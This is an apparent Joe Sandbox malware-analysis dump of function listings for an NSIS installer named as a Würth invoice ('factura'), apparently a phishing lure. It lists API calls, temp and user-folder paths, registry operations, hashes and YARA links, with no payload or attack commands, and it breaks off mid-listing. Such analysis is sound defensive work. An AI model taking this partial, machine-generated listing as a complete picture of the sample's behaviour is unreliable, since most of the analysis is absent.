Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405AE9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040602D: lstrcpynW.KERNEL32(?,?,00000400,0040332A,007A7A20,NSIS Error), ref: 0040603A

Part of subcall function 00405A8C: CharNextW.USER32(?,?,C:\,?,00405B00,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,0040583E,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405A9A
Part of subcall function 00405A8C: CharNextW.USER32(00000000), ref: 00405A9F
Part of subcall function 00405A8C: CharNextW.USER32(00000000), ref: 00405AB7

lstrlenW.KERNEL32(C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,0040583E,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B42
GetFileAttributesW.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,0040583E,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 00405B52

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405AE9
C:\, xrefs: 00405AEF, 00405AF4, 00405AFA, 00405B3B, 00405B41, 00405B49, 00405B51

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\$C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-1964270705
Opcode ID: 727da4a5fd54559f0b5fa84b8a7a338ed841983ac59879e6f1508895b9972b86
Instruction ID: 8ae2fce49526f5710a07790df8cd11e23799bcf3340ba248b926081ff081d995
Opcode Fuzzy Hash: 727da4a5fd54559f0b5fa84b8a7a338ed841983ac59879e6f1508895b9972b86
Instruction Fuzzy Hash: 98F0F429104D5116C622763A1C4AEAF3564CF8236471A023FF852B22D2DF3CB953CCBE

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040518C: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403168,00000000,?), ref: 004051C4
Part of subcall function 0040518C: lstrlenW.KERNEL32(00403168,007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403168,00000000), ref: 004051D4
Part of subcall function 0040518C: lstrcatW.KERNEL32(007A0F00,00403168,00403168,007A0F00,00000000,007924D8,759223A0), ref: 004051E7
Part of subcall function 0040518C: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 004051F9
Part of subcall function 0040518C: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040521F
Part of subcall function 0040518C: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405239
Part of subcall function 0040518C: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405247

Part of subcall function 0040570D: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,Error launching installer), ref: 00405736
Part of subcall function 0040570D: CloseHandle.KERNEL32(?), ref: 00405743

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: a40a6cbac1a281d479222d50c55b2a17d09cd0ebd973136bd55f0c14795a7204
Instruction ID: 0d84b1aa03f1a7237eec4328a6cc722d91751d385b027cc4a264b2ba126eb04a
Opcode Fuzzy Hash: a40a6cbac1a281d479222d50c55b2a17d09cd0ebd973136bd55f0c14795a7204
Instruction Fuzzy Hash: 2B116131900508EBCF21AF91CD4599E7AB6EF40354F20403BF905BA1E1D7798A929B9D

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405A8C: CharNextW.USER32(?,?,C:\,?,00405B00,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,0040583E,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405A9A
Part of subcall function 00405A8C: CharNextW.USER32(00000000), ref: 00405A9F
Part of subcall function 00405A8C: CharNextW.USER32(00000000), ref: 00405AB7

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 0040565B: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040569E

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\Sympodia\broletto,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\Sympodia\broletto, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\Sympodia\broletto
API String ID: 1892508949-210443653
Opcode ID: 1b90c56697293fd9c4ac7f6fd8fb845aa2c78f7f869f6041e712facf531ffa7b
Instruction ID: c84cbb424bb3084f93bd215551d43dceb81b994fc0f34687c4e9f979fa86e455
Opcode Fuzzy Hash: 1b90c56697293fd9c4ac7f6fd8fb845aa2c78f7f869f6041e712facf531ffa7b
Instruction Fuzzy Hash: D711E631500504ABCF207FA4CD0099F3AA1EF54364B24093BFA06B61F1DA3D8E819E5D

Function 0040570D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,Error launching installer), ref: 00405736
CloseHandle.KERNEL32(?), ref: 00405743

Strings

Error launching installer, xrefs: 00405720

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 7e68a0d0a0c67d6b79c3ee887bc9c02d6c3d323b7ac9ccfb382382dd5f261eaf
Instruction ID: 36cb6700757ba35c499a420c30df9f69cdbb022eeaef0abc6502029d7df0636c
Opcode Fuzzy Hash: 7e68a0d0a0c67d6b79c3ee887bc9c02d6c3d323b7ac9ccfb382382dd5f261eaf
Instruction Fuzzy Hash: 2DE0B6F4600209BFEB10AB64ED49E7B7AACEB48605F018525BD50F2190D7B998148A78

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FEE

Part of subcall function 0040518C: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403168,00000000,?), ref: 004051C4
Part of subcall function 0040518C: lstrlenW.KERNEL32(00403168,007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403168,00000000), ref: 004051D4
Part of subcall function 0040518C: lstrcatW.KERNEL32(007A0F00,00403168,00403168,007A0F00,00000000,007924D8,759223A0), ref: 004051E7
Part of subcall function 0040518C: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 004051F9
Part of subcall function 0040518C: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040521F
Part of subcall function 0040518C: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405239
Part of subcall function 0040518C: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405247

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FFF
FreeLibrary.KERNEL32(?,?,000000F7,?,?,?,?,00000008,00000001,000000F0), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 93d746076e24d6e5fd32fe123e9547ada087d985be68c5f46620f0625f35f28c
Instruction ID: ca9b11fc7aad625c571397d84789f5ee0c1297d07900a95bf88c9ec90ed95561
Opcode Fuzzy Hash: 93d746076e24d6e5fd32fe123e9547ada087d985be68c5f46620f0625f35f28c
Instruction Fuzzy Hash: 50218331900219EACF20AFA5CE48A9E7E71AF41354F20427BF501B51E1DBBD8E81DA5E

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000145,00000000,00000022,00000000,?,?,?,0040232B,00000002), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003,00020019), ref: 004024E0
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsf6188.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 4e60a06ea66ef1e5e17e74dbbc83e5da838f4a3c9b928c68102b2b08fb42acba
Instruction ID: 37ba50d449a136f8c5a8b33b316b310eb9a258bf94b51e658f7098d0a8d2a98d
Opcode Fuzzy Hash: 4e60a06ea66ef1e5e17e74dbbc83e5da838f4a3c9b928c68102b2b08fb42acba
Instruction Fuzzy Hash: 13F08171A00204BBEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: e797fdd055ba3fb9280d5808d55a1efa047aea8eb91472c6f5c2936704595438
Instruction ID: 1204d1a220e6d768f3d461a9159a4fc95a2ffbde449ffc0b80a50a9695adc5d2
Opcode Fuzzy Hash: e797fdd055ba3fb9280d5808d55a1efa047aea8eb91472c6f5c2936704595438
Instruction Fuzzy Hash: 4E01D132624210ABE7095B389D04B6A3698E751315F10CA3BB851F66F1DA7C8C428B4C

Function 0040231F Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000145,00000000,00000022,00000000,?,?,?,0040232B,00000002), ref: 00402CF1

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033,00000002), ref: 0040233E
RegCloseKey.ADVAPI32(00000000), ref: 00402347

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 650db8757b1869cc966adb5881a25d945835b2062d00a26838f1587f01ca5898
Instruction ID: ebbde6c58252afa817793b805ca0cd3966a65b16c100d8ee6f1f57e427ac820c
Opcode Fuzzy Hash: 650db8757b1869cc966adb5881a25d945835b2062d00a26838f1587f01ca5898
Instruction Fuzzy Hash: 74F0AF32A00100ABEB10BFB48B4EABE72699B80314F14803BF501B71D1C9FC89015629

Function 00406407 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004032E6,00000009), ref: 00406419
GetProcAddress.KERNEL32(00000000,?), ref: 00406434

Part of subcall function 00406397: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063AE
Part of subcall function 00406397: wsprintfW.USER32 ref: 004063E9
Part of subcall function 00406397: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004063FD

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 82069e22af83b56f915537a5bbc2862a2b5ba3ad8f84c774fb382a69f2dcb8e0
Instruction ID: e585cff6f5786af6166c4577b0086b93443bcdd3738d69eb1d3bc5833b741c46
Opcode Fuzzy Hash: 82069e22af83b56f915537a5bbc2862a2b5ba3ad8f84c774fb382a69f2dcb8e0
Instruction Fuzzy Hash: 40E08C32604220AAD2119B749E8493B66A8AE99740302043FF946F2080DB78EC329AAD

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
